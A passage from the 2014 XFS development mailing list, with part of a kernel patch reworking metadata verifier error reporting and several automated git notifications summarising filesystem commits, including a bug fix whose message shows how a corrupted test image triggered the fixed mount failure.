XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_lblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_bmbt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -794,11 +796,9 @@ xfs_bmbt_write_verify( struct xfs_buf *bp) { if (!xfs_bmbt_verify(bp)) { - xfs_warn(bp->b_target->bt_mount, "bmbt daddr 0x%llx failed", bp->b_bn); trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_lblock_calc_crc(bp); diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 75ef990..1f5af79 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -185,8 +185,8 @@ xfs_da3_node_write_verify( struct xfs_da3_node_hdr *hdr3 = bp->b_addr; if (!xfs_da3_node_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } @@ -209,17 +209,20 @@ static void xfs_da3_node_read_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_da_blkinfo *info = bp->b_addr; switch (be16_to_cpu(info->magic)) { case XFS_DA3_NODE_MAGIC: - if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) + if (!xfs_buf_verify_cksum(bp, XFS_DA3_NODE_CRC_OFF)) { + xfs_buf_ioerror(bp, EFSBADCRC); break; + } /* fall through */ case XFS_DA_NODE_MAGIC: - if (!xfs_da3_node_verify(bp)) + if (!xfs_da3_node_verify(bp)) { + xfs_buf_ioerror(bp, EFSCORRUPTED); break; + } return; case XFS_ATTR_LEAF_MAGIC: case XFS_ATTR3_LEAF_MAGIC: @@ -236,8 +239,7 @@ xfs_da3_node_read_verify( } /* corrupt block */ - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); } const struct xfs_buf_ops xfs_da3_node_buf_ops = { diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 724377e..4f6a38c 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -89,12 +89,14 @@ xfs_dir3_block_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_block_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -106,8 +108,8 @@ xfs_dir3_block_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_block_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 74ae85e..afa4ad5 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -241,7 +241,6 @@ static void xfs_dir3_data_reada_verify( struct xfs_buf *bp) { - struct xfs_mount *mp = bp->b_target->bt_mount; struct xfs_dir2_data_hdr *hdr = bp->b_addr; switch (hdr->magic) { @@ -255,8 +254,8 @@ xfs_dir3_data_reada_verify( xfs_dir3_data_verify(bp); return; default: - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, hdr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); break; } } @@ -267,12 +266,14 @@ xfs_dir3_data_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) || - !xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_DATA_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_data_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -284,8 +285,8 @@ xfs_dir3_data_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_data_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index dffb61b..d36e97d 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -179,12 +179,14 @@ __read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) || - !xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_LEAF_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_leaf_verify(bp, magic)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -197,8 +199,8 @@ __write_verify( struct xfs_dir3_leaf_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_leaf_verify(bp, magic)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 0904b20..cb434d7 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -115,12 +115,14 @@ xfs_dir3_free_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if ((xfs_sb_version_hascrc(&mp->m_sb) && - !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) || - !xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (xfs_sb_version_hascrc(&mp->m_sb) && + !xfs_buf_verify_cksum(bp, XFS_DIR3_FREE_CRC_OFF)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dir3_free_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -132,8 +134,8 @@ xfs_dir3_free_write_verify( struct xfs_dir3_blk_hdr *hdr3 = bp->b_addr; if (!xfs_dir3_free_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_dquot_buf.c b/fs/xfs/xfs_dquot_buf.c index d401457..610da81 100644 --- a/fs/xfs/xfs_dquot_buf.c +++ b/fs/xfs/xfs_dquot_buf.c @@ -257,10 +257,13 @@ xfs_dquot_buf_read_verify( { struct xfs_mount *mp = bp->b_target->bt_mount; - if (!xfs_dquot_buf_verify_crc(mp, bp) || !xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + if (!xfs_dquot_buf_verify_crc(mp, bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_dquot_buf_verify(mp, bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } /* @@ -275,8 +278,8 @@ xfs_dquot_buf_write_verify( struct xfs_mount *mp = bp->b_target->bt_mount; if (!xfs_dquot_buf_verify(mp, bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } } diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c index 0f03405..7d640bb 100644 --- a/fs/xfs/xfs_ialloc.c +++ b/fs/xfs/xfs_ialloc.c @@ -1573,13 +1573,18 @@ xfs_agi_read_verify( if (xfs_sb_version_hascrc(&mp->m_sb)) agi_ok = xfs_buf_verify_cksum(bp, offsetof(struct xfs_agi, agi_crc)); + + if (!agi_ok) + xfs_buf_ioerror(bp, EFSBADCRC); + agi_ok = agi_ok && xfs_agi_verify(bp); if (unlikely(XFS_TEST_ERROR(!agi_ok, mp, XFS_ERRTAG_IALLOC_READ_AGI, - XFS_RANDOM_IALLOC_READ_AGI))) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + XFS_RANDOM_IALLOC_READ_AGI))) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -1590,8 +1595,8 @@ xfs_agi_write_verify( struct xfs_buf_log_item *bip = bp->b_fspriv; if (!xfs_agi_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c index 0028c50..7e309b1 100644 --- a/fs/xfs/xfs_ialloc_btree.c +++ b/fs/xfs/xfs_ialloc_btree.c @@ -243,12 +243,14 @@ static void xfs_inobt_read_verify( struct xfs_buf *bp) { - if (!(xfs_btree_sblock_verify_crc(bp) && - xfs_inobt_verify(bp))) { - trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_inobt_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); } } @@ -258,9 +260,8 @@ xfs_inobt_write_verify( { if (!xfs_inobt_verify(bp)) { trace_xfs_btree_corrupt(bp, _RET_IP_); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - bp->b_target->bt_mount, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } xfs_btree_sblock_calc_crc(bp); diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c index 4fc9f39..b984419 100644 --- a/fs/xfs/xfs_inode_buf.c +++ b/fs/xfs/xfs_inode_buf.c @@ -102,8 +102,7 @@ xfs_inode_buf_verify( } xfs_buf_ioerror(bp, EFSCORRUPTED); - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, - mp, dip); + xfs_verifier_error(bp); #ifdef DEBUG xfs_alert(mp, "bad inode magic/vsn daddr %lld #%d (magic=%x)", diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c index 7bbaf20..b838287 100644 --- a/fs/xfs/xfs_sb.c +++ b/fs/xfs/xfs_sb.c @@ -615,7 +615,7 @@ xfs_sb_read_verify( /* Only fail bad secondaries on a known V5 filesystem */ if (bp->b_bn != XFS_SB_DADDR && xfs_sb_version_hascrc(&mp->m_sb)) { - error = EFSCORRUPTED; + error = EFSBADCRC; goto out_error; } } @@ -624,10 +624,9 @@ xfs_sb_read_verify( out_error: if (error) { - if (error == EFSCORRUPTED) - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + if (error == EFSCORRUPTED || error == EFSBADCRC) + xfs_verifier_error(bp); } } @@ -643,7 +642,6 @@ xfs_sb_quiet_read_verify( { struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { /* XFS filesystem, verify noisily! */ xfs_sb_read_verify(bp); @@ -663,9 +661,8 @@ xfs_sb_write_verify( error = xfs_sb_verify(bp, false); if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, - mp, bp->b_addr); xfs_buf_ioerror(bp, error); + xfs_verifier_error(bp); return; } diff --git a/fs/xfs/xfs_symlink_remote.c b/fs/xfs/xfs_symlink_remote.c index 7d53c5d..8193665 100644 --- a/fs/xfs/xfs_symlink_remote.c +++ b/fs/xfs/xfs_symlink_remote.c @@ -134,11 +134,13 @@ xfs_symlink_read_verify( return; if (!xfs_buf_verify_cksum(bp, - offsetof(struct xfs_dsymlink_hdr, sl_crc)) || - !xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); + offsetof(struct xfs_dsymlink_hdr, sl_crc))) + xfs_buf_ioerror(bp, EFSBADCRC); + else if (!xfs_symlink_verify(bp)) xfs_buf_ioerror(bp, EFSCORRUPTED); - } + + if (bp->b_error) + xfs_verifier_error(bp); } static void @@ -153,8 +155,8 @@ xfs_symlink_write_verify( return; if (!xfs_symlink_verify(bp)) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); xfs_buf_ioerror(bp, EFSCORRUPTED); + xfs_verifier_error(bp); return; } -- 1.7.1 From dgc@oss.sgi.com Sun Feb 9 21:16:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id C4D1A7F4E; Sun, 9 Feb 2014 21:16:50 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-fixes-for-3.14-rc3, created. xfs-for-linus-v3.14-rc1-2-12922-g3895e51 X-Git-Refname: refs/heads/xfs-fixes-for-3.14-rc3 X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: 3895e51f6dbf6610519be070a3bede811f6ac4fb Message-Id: <20140210031650.C4D1A7F4E@oss.sgi.com> Date: Sun, 9 Feb 2014 21:16:48 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-fixes-for-3.14-rc3 has been created at 3895e51f6dbf6610519be070a3bede811f6ac4fb (commit) - Log ----------------------------------------------------------------- commit 3895e51f6dbf6610519be070a3bede811f6ac4fb Author: Dave Chinner Date: Mon Feb 10 10:37:18 2014 +1100 xfs: ensure correct log item buffer alignment On 32 bit platforms, the log item vector headers are not 64 bit aligned or sized. hence if we don't take care to align them correctly or pad the buffer appropriately for 8 byte alignment, we can end up with alignment issues when accessing the user buffer directly as a structure. To solve this, simply pad the buffer headers to 64 bit offset so that the data section is always 8 byte aligned. Signed-off-by: Dave Chinner Reported-by: Michael L. Semon Tested-by: Michael L. Semon Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner commit fe60a8a0919eeee862054137fed49f00b710d9cd Author: Christoph Hellwig Date: Mon Feb 10 10:35:22 2014 +1100 xfs: ensure correct timestamp updates from truncate The VFS doesn't set the proper ATTR_CTIME and ATTR_MTIME values for truncate, so filesystems have to manually add them. The introduction of xfs_setattr_time accidentally broke this special case an caused a regression in generic/313. Fix this by removing the local mask variable in xfs_setattr_size so that we only have a single place to keep the attribute information. cc: Signed-off-by: Christoph Hellwig Reported-by: Fengguang Wu Reviewed-by: Brian Foster Reviewed-by: Jie Liu Signed-off-by: Dave Chinner ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Sun Feb 9 21:17:04 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id CB0577F52; Sun, 9 Feb 2014 21:17:04 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-fixes-for-3.15-1, created. xfs-for-linus-v3.14-rc1-2-12927-g492185e X-Git-Refname: refs/heads/xfs-fixes-for-3.15-1 X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: 492185ef1dd261768203a6c3accfd445cde8c503 Message-Id: <20140210031704.CB0577F52@oss.sgi.com> Date: Sun, 9 Feb 2014 21:17:03 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-fixes-for-3.15-1 has been created at 492185ef1dd261768203a6c3accfd445cde8c503 (commit) - Log ----------------------------------------------------------------- commit 492185ef1dd261768203a6c3accfd445cde8c503 Author: Jie Liu Date: Fri Feb 7 15:26:11 2014 +1100 xfs: remove XFS_TRANS_DEBUG dead code Remove the leftover XFS_TRANS_DEBUG dead code following the previous cleaning up of it in commits ec47eb6b0b450. Signed-off-by: Jie Liu Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 4ae69fea588148360d470ce604714b6d619ea749 Author: Jie Liu Date: Fri Feb 7 15:26:11 2014 +1100 xfs: return -E2BIG if hit the maximum size limits of ACLs We should return -E2BIG rather than -EINVAL if hit the maximum size limits of ACLS, as the former is consistent with VFS xattr syscalls. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Dave Chinner commit 392c6de98af1fd7e2fc9c7bf5e52be16286f7b42 Author: Eric Sandeen Date: Fri Feb 7 15:26:11 2014 +1100 xfs: sanitize sb_inopblock in xfs_mount_validate_sb xfs_mount_validate_sb doesn't check sb_inopblock for sanity (as does its xfs_repair counterpart, FWIW). If it's out of bounds, we can go off the rails in i.e. xfs_inode_buf_verify(), which uses sb_inopblock as a loop limit when stepping through a metadata buffer. The problem can be demonstrated easily by corrupting sb_inopblock with xfs_db and trying to mount the result: # mkfs.xfs -dfile,name=fsfile,size=1g # xfs_db -x fsfile xfs_db> sb 0 xfs_db> write inopblock 512 inopblock = 512 xfs_db> quit # mount -o loop fsfile mnt and we blow up in xfs_inode_buf_verify(). With this patch, we get a (very noisy) corruption error, and fail the mount as we should. Signed-off-by: Eric Sandeen Reviewed-by: Jie Liu Reviewed-by: Brian Foster Signed-off-by: Dave Chinner commit c6f9726444c8f8c7df24950864bf1a4cb2c61b3e Author: Jie Liu Date: Fri Feb 7 15:26:07 2014 +1100 xfs: convert xfs_log_commit_cil() to void Convert xfs_log_commit_cil() to a void function since it return nothing but 0 in any case, after that we can simplify the relative code logic in xfs_trans_commit() accordingly. Signed-off-by: Jie Liu Reviewed-by: Brian Foster Signed-off-by: Dave Chinner commit 410b11a675dca827e893f07c3155691eda3b5887 Author: Brian Foster Date: Fri Feb 7 14:55:54 2014 +1100 xfs: use tr_qm_dqalloc log reservation for dquot alloc The dquot allocation path in xfs_qm_dqread() currently uses the attribute set log reservation, which appears to be incorrect. We have reports of transaction reservation overruns with the current code. E.g., a repeated run of xfstests test generic/270 on a 512b block size fs occassionally produces the following in dmesg: XFS (sdN): xlog_write: reservation summary: trans type = QM_DQALLOC (30) unit res = 7080 bytes current res = -632 bytes total reg = 0 bytes (o/flow = 0 bytes) ophdrs = 0 (ophdr space = 0 bytes) ophdr + reg = 0 bytes num regions = 0 XFS (sdN): xlog_write: reservation ran out. Need to up reservation The dquot allocation case should consist of a write reservation (i.e., we are allocating a range of the internal quota file) plus the size of the actual dquots. We already have a log reservation definition for this operation (tr_qm_dqalloc). Use it in xfs_qm_dqread() and update the log reservation calculation function to use the write res. calculation function rather than reading the assumed to be pre-calculated value directly. Signed-off-by: Brian Foster Reviewed-by: Jie Liu Reviewed-by: Ben Myers Signed-off-by: Dave Chinner commit c19ec235352c2a001c9dc7e86acdfd9f2b62150d Author: Eric Sandeen Date: Fri Feb 7 14:54:22 2014 +1100 xfs: remove unused tr_swrite tr_swrite is never used, remove it. From a very quick look, I think the usage of it (and its ancestor XFS_SWRITE_LOG_RES) went away in commit 13e6d5cd "xfs: merge fsync and O_SYNC handling" back in 2009. Signed-off-by: Eric Sandeen Reviewed-by: Jie Liu Signed-off-by: Dave Chinner commit 70bbca07766091be699736163a07ee016ed72482 Author: Brian Foster Date: Fri Feb 7 14:53:50 2014 +1100 xfs: use tr_growrtalloc for growing rt files This is a regression from the following commit: 3d3c8b5222b9 xfs: refactor xfs_trans_reserve() interface Use the tr_growrtalloc log reservation for growing the bitmap/summary files. Signed-off-by: Brian Foster Reviewed-by: Eric Sandeen Reviewed-by: Jie Liu Signed-off-by: Dave Chinner ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Sun Feb 9 21:17:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 8C7C27F55; Sun, 9 Feb 2014 21:17:23 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-async-aio-extend, created. xfs-for-linus-v3.14-rc1-2-12923-g9862f62 X-Git-Refname: refs/heads/xfs-async-aio-extend X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: 9862f62faba8c279ac07415a6f610041116fbdc0 Message-Id: <20140210031723.8C7C27F55@oss.sgi.com> Date: Sun, 9 Feb 2014 21:17:22 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-async-aio-extend has been created at 9862f62faba8c279ac07415a6f610041116fbdc0 (commit) - Log ----------------------------------------------------------------- commit 9862f62faba8c279ac07415a6f610041116fbdc0 Author: Christoph Hellwig Date: Mon Feb 10 10:28:04 2014 +1100 xfs: allow appending aio writes XFS can easily support appending aio writes by ensuring we always allocate blocks as unwritten extents when performing direct I/O writes and only converting them to written extents at I/O completion. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit d531d91d69902e55633ed834f531aa0b48d618cc Author: Christoph Hellwig Date: Mon Feb 10 10:27:43 2014 +1100 xfs: always use unwritten extents for direct I/O writes To allow aio writes beyond i_size we need to create unwritten extents for newly allocated blocks, similar to how we already do inside i_size. Instead of adding another special case we now use unwritten extents unconditionally. This also marks the end of directly allocation data extents in all of XFS - we now always use either delalloc or unwritten extents. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner commit 6039257378e4c84da06e68230b14fef955508ce6 Author: Christoph Hellwig Date: Mon Feb 10 10:27:11 2014 +1100 direct-io: add flag to allow aio writes beyond i_size Some filesystems can handle direct I/O writes beyond i_size safely, so allow them to opt into receiving them. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Dave Chinner ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From dgc@oss.sgi.com Sun Feb 9 21:17:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 10266) id 5D7A67F59; Sun, 9 Feb 2014 21:17:46 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.14-rc1-2-12934-g39f30ca X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 38dbfb59d1175ef458d006556061adeaa8751b72 X-Git-Newrev: 39f30ca7eaa4fe9224094c7a9964cff36c584dab Message-Id: <20140210031746.5D7A67F59@oss.sgi.com> Date: Sun, 9 Feb 2014 21:17:45 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 39f30ca Merge branch 'xfs-async-aio-extend' into for-next 0084826 Merge branch 'xfs-fixes-for-3.15-1' into for-next 3895e51 xfs: ensure correct log item buffer alignment fe60a8a xfs: ensure correct timestamp updates from truncate 9862f62 xfs: allow appending aio writes d531d91 xfs: always use unwritten extents for direct I/O writes 492185e xfs: remove XFS_TRANS_DEBUG dead code 4ae69fe xfs: return -E2BIG if hit the maximum size limits of ACLs 392c6de xfs: sanitize sb_inopblock in xfs_mount_validate_sb c6f9726 xfs: convert xfs_log_commit_cil() to void 410b11a xfs: use tr_qm_dqalloc log reservation for dquot alloc c19ec23 xfs: remove unused tr_swrite 70bbca07 xfs: use tr_growrtalloc for growing rt files from 38dbfb59d1175ef458d006556061adeaa8751b72 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 39f30ca7eaa4fe9224094c7a9964cff36c584dab Merge: 0084826 9862f62 Author: Dave Chinner Date: Mon Feb 10 14:14:14 2014 +1100 Merge branch 'xfs-async-aio-extend' into for-next commit 008482657169c0276ddd2ba00a1ad14a324b91f0 Merge: 3895e51 492185e Author: Dave Chinner Date: Mon Feb 10 14:13:50 2014 +1100 Merge branch 'xfs-fixes-for-3.15-1' into for-next ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_acl.c | 2 +- fs/xfs/xfs_aops.c | 3 ++- fs/xfs/xfs_buf_item.c | 19 ------------------- fs/xfs/xfs_dquot.c | 2 +- fs/xfs/xfs_iomap.c | 10 +++------- fs/xfs/xfs_iops.c | 16 ++++++++-------- fs/xfs/xfs_log.h | 2 +- fs/xfs/xfs_log_cil.c | 22 ++++++++++++++++------ fs/xfs/xfs_rtalloc.c | 2 +- fs/xfs/xfs_sb.c | 1 + fs/xfs/xfs_trans.c | 12 ++---------- fs/xfs/xfs_trans_resv.c | 6 ++---- fs/xfs/xfs_trans_resv.h | 1 - 13 files changed, 38 insertions(+), 60 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Sun Feb 9 21:31:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C16817F4E for ; Sun, 9 Feb 2014 21:31:48 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 53EDAAC001 for ; Sun, 9 Feb 2014 19:31:45 -0800 (PST) X-ASG-Debug-ID: 1392003103-04bdf01220248740001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id XFEG6cFpDdKmRybA for ; Sun, 09 Feb 2014 19:31:43 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgUIAHhH+FJ5LGaB/2dsb2JhbABZgwyDPrc+hV+BBhd0giUBAQQBJxMcIwULCAMYCSUPBSUDIROHfQfIOhcWjmcHhDgElEKDaIpQh1KDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl2.internode.on.net with ESMTP; 10 Feb 2014 14:01:42 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WChau-0000p5-PR; Mon, 10 Feb 2014 14:31:40 +1100 Date: Mon, 10 Feb 2014 14:31:40 +1100 From: Dave 